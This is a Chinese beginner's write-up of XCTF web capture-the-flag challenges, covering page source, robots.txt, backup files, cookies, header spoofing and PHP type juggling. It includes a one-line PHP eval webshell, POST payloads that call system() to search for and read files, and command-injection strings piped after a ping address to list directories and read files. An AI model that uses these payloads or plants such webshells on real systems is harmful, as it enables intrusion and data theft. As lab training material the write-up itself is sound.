xctf在线场景以使用了,一直想写web题来着

001 view_scoure

  • X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

解: 查看网站源码,注释里有 flag

002 robots

  • X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

解: 在网站根目录下输入 robots.txt即可找到 flag

  • 知识点

    • robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
    • dirsearch.py

      How to use

      项目地址 github

      亲测不能用也( 提示 ModuleNotFoundError: No module named 'cryptography')

      在kali下使用python命令就是调用的python2,使用python3命令就是调用的python3,很方便,但是window环境可不一样,没有python3命令,只有python命令,调用的是python2,可以直接给python.exe 改名为 python3.exe即可

      pip.exe 在 python 目录下的 Scripts 下载的模块在 Lib site-packges
    • Recursive 递归的

003 backup

  • X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

输入 index.php.bak

官方给的操作还是用 dirsearch.py 查看了.....

  • 知识点

    常见的备份文件后缀名有:

    01 .git

    02 .svn

    03 .swp

    04 .svn

    05 .~

    06 .bak

    07 .bash_history

004 cookie

  • X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

解: F12进入后,点击 Application, 左侧有 cookie,出现 look-here(cookie.php)

  • 知识点

    • Cookie是当主机访问Web服务器时,由 Web 服务器创建的,将信息存储在用户计算机上的文件。一般网络用户习惯用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 Session 跟踪而存储在用户本地终端上的数据,而这些数据通常会经过加密处理
    • 有同志使用burpsuit做的解,但咱这burpsuit老提示 Oracle jre没测试过,不可以使用....

005 disabled_button

  • X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

解: 将disabled=""删除后,按钮可按,按下后得到flag

006 weak——auth

  • 小宁写了一个登陆验证页面,随手就设了一个密码

解: admin 123456

又是burpsuit

007 simplePHP

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>

110.110.110.110/?a=0&b=1235a

008 GET&POST

HackBar:POST

hackBar 2.1.3 githb/HCTYMFF

hackbar收费了,这里是一个2.1.3的版本,在github上下载 zip包解压,在firefox中从文件中添加组件{}.xpi即可,关闭自动更新,打开方式是调试台,

009 xff_referer

  • X老师告诉小宁其实xff和referer是可以伪造的。

解:

  1. 打开firefox和burp,使用burp对firefox进行代理拦截,在请求头添加X-Forwarded-For: 123.123.123.123,然后放包,用 burp Rpeater重发request包即可。(这里不论怎么发,Firefox的浏览页面也没有变过),但是靶机确实返回了对应的 Reponse。
  2. Referer: https://www.google.com(请求头里添加)

另解

用火狐的 F12->网络->请求头->编辑和重发(添加对应的那两个头即可)

另解问题

但只有第一个 XFF 起了作用,第二个服务器回包没有变化。

  • 知识点

    • X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。
    • HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
    • http教程

010 webshell

  • 小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
<?php @eval($_POST['shell']);?>

用post方法接收变量shell,把变量shell里面的字符串当做php代码来执行。 变量shell也称为密码

所以,只要我们能通过post 方法,以 shell为变量名,值为执行代码就可以直接通过post 来操作对方的网站,菜刀也是通过这样的方法,不过他传入的代码比较复杂。

解:

  1. 菜刀直接连接,可以看到对方的网站目录结构,找打 flag.txt
  2. 另解(hackBar burp) 传递post请求

    shell=system("grep -r cyberpeace ./");

    shell=system("find ./ -name flag -exec cat {} ;|grep 'cyberpeace'");

011 command_execution

  • 小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

    解:

    127.0.0.1 |find / -name "*.txt";

找.txt后缀的文件,发现 /home/flag.txt

127.0.0.1|cat /home/flag.txt ;

其他想法:

直接输入 | ls /home 也可以,即找一找home 目录下有什么

  • 知识点

    windows 或 linux 下:

    command1 && command2 先执行 command1,如果为真,再执行 command2

    command1 | command2 只执行 command2

    command1 & command2 先执行 command2 后执行 command1

    command1 || command2 先执行 command1,如果为假,再执行 command2

    命令执行漏洞(| || & && 称为 管道符)

12 simple_js

  • 小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password');
alert( dechiffre(h) ); </script>

这东西考的代码审计,难搞的很。

解出这16进制代码

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

工具

解:

  1. 16进制转文本,复制文本(全部复制,粘贴自动会转化成全部数字)
  2. 数字转ANSII码,用python 即可。

WEB 新手篇的更多相关文章

  1. 漫谈程序员(十一)老鸟程序员知道而新手不知道的小技巧之Web 前端篇

    老鸟程序员知道而新手不知道的小技巧 Web 前端篇 常充电!程序员只有一种死法:土死的. 函数不要超过50行. 不要一次性写太多来不及测的代码,而是要写一段调试一段. UI和编码要同步做. 多写注释方 ...

  2. PHP求职宝典系列——PHP Web 编程篇

    PHP Web 编程篇 form表单 1.简述 POST 和 GET 传输的最大容量分别是多少? GET 方法提交的表单数据被附加到 URL 上,并作为URL 的一部分发送到服务器端. URL 的长度 ...

  3. 我所理解的RESTful Web API [Web标准篇]

    REST不是一个标准,而是一种软件应用架构风格.基于SOAP的Web服务采用RPC架构,如果说RPC是一种面向操作的架构风格,而REST则是一种面向资源的架构风格.REST是目前业界更为推崇的构建新一 ...

  4. 使用ML.NET实现情感分析[新手篇]后补

    在<使用ML.NET实现情感分析[新手篇]>完成后,有热心的朋友建议说,为何例子不用中文的呢,其实大家是需要知道怎么预处理中文的数据集的.想想确实有道理,于是略微调整一些代码,权作示范. ...

  5. WEB新手之签到题

    写一写web新手赛的题. 这是签到题,开始时需要耐心等待页面中字母全部出现. 字母全部出现后,会跳转到另一个界面,如上图所示.F12没什么特别的地方,这题应该有点难度. 按往常一样,先抓包. 按英文提 ...

  6. 《黑客攻防技术宝典Web实战篇@第2版》读书笔记1:了解Web应用程序

    读书笔记第一部分对应原书的第一章,主要介绍了Web应用程序的发展,功能,安全状况. Web应用程序的发展历程 早期的万维网仅由Web站点构成,只是包含静态文档的信息库,随后人们发明了Web浏览器用来检 ...

  7. web前端篇:CSS使用,样式表特征,选择器

    目录 web前端篇:CSS使用,样式表特征,选择器 1.CSS介绍 2.CSS使用 3.样式表特征 4.CSS选择器 5.选择器的优先级 6.练习题: web前端篇:CSS使用,样式表特征,选择器 1 ...

  8. Web前端篇:CSS常用格式化排版、盒模型、浮动、定位、背景边框属性

    目录 Web前端篇:CSS常用格式化排版.盒模型.浮动.定位.背景边框属性 1.常用格式化排版 2.CSS盒模型 3.浮动 4.定位 5.背景属性和边框属性 6.网页中规范和错误问题 7.显示方式 W ...

  9. 黑客攻防技术宝典web实战篇:核心防御机制习题

    猫宁!!! 参考链接:http://www.ituring.com.cn/book/885 黑客攻防技术宝典web实战篇是一本非常不错的书,它的著作人之一是burpsuite的作者,课后的习题值得关注 ...

  10. 攻防世界web新手区做题记录

    学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...

随机推荐

  1. # Apache SeaTunnel 究竟是什么?

    作者 | Shawn Gordon 翻译 | Debra Chen 原文链接 | What the Heck is Apache SeaTunnel? 我在2023年初开始注意到Apache SeaT ...

  2. FIRD的防碰撞机制

    RFID多标签阅读时防碰撞技术 概念 RFID 读写器在正常情况下一个时间点只能对磁场中的一张RFID卡进行读或写操作,但是实际应用中经常有当多张卡片同时进入读写器的射频场,读写器怎么处理呢?读写器需 ...

  3. Python 提取出SQL语句中Where的值的方法

    1.方法一:使用sqlparse库的方法 为了提取SQL语句中WHERE子句的值,我们可以利用Python的sqlparse库,这是一个专门用于解析SQL语句的库.以下是一个示例代码,演示如何使用sq ...

  4. 全网最适合入门的面向对象编程教程:39 Python常用复合数据类型-集合

    全网最适合入门的面向对象编程教程:39 Python 常用复合数据类型-集合 摘要: 在 Python 中,集合(set)是一种常用的复合数据类型.集合是一组无序且不重复的元素.与列表和元组不同,集合 ...

  5. MSYS2、MinGW、Cygwin 关系梳理

    还记得大一刚开始写 C 代码时,经常看到 MSYS2.MinGW.Cygwin 等名词.对于第一次接触编程的我来说这些名词让我眼花缭乱.当时查阅了一些资料,但是对于这些名词的解释始终让我云里雾里.现在 ...

  6. LaTeX 编译警告:Script 'CJK' not explicitly supported within font 'FandolSong-Regular'. Check the typeset output, and if it is okay then ignore this warning. Otherwise a different font should be chosen.

    在编译一篇中文文档时遇到如下警告: Package fontspec Warning: Script 'CJK' not explicitly supported within font 'Fando ...

  7. 阿里云【七天深入MySQL实战营】

    阿里云[七天深入MySQL实战营] 最近报名了阿里云[七天深入MySQL实战营].不过一直没时间看[最主要还是自己懒],看了下课程及答疑信息,感觉应该还可以,分享出来和大家一起学习学习​.现在课程已经 ...

  8. 呵,老板不过如此,SQL还是得看我

    2018年7月,大三暑假进行时,时间过得飞快,我到这边实习都已经一个月了. 我在没工作之前,我老是觉得生产项目的代码跟我平时自学练的会有很大的区别. 以为生产项目代码啥的都会规范很多,比如在接口上会做 ...

  9. 神经网络之卷积篇:详解池化层(Pooling layers)

    详解池化层 除了卷积层,卷积网络也经常使用池化层来缩减模型的大小,提高计算速度,同时提高所提取特征的鲁棒性,来看一下. 先举一个池化层的例子,然后再讨论池化层的必要性.假如输入是一个4×4矩阵,用到的 ...

  10. LeetCode 验证二叉搜索树的两种不同题型

    一.leetcode 98. 验证二叉搜索树 通过辅助函数增加参数进行判断. 虽然节点值在INT范围内,但要求其中序遍历序列严格单调递增,因此等于也不行,而且需要用LONG_MIN\LONG_MAX初 ...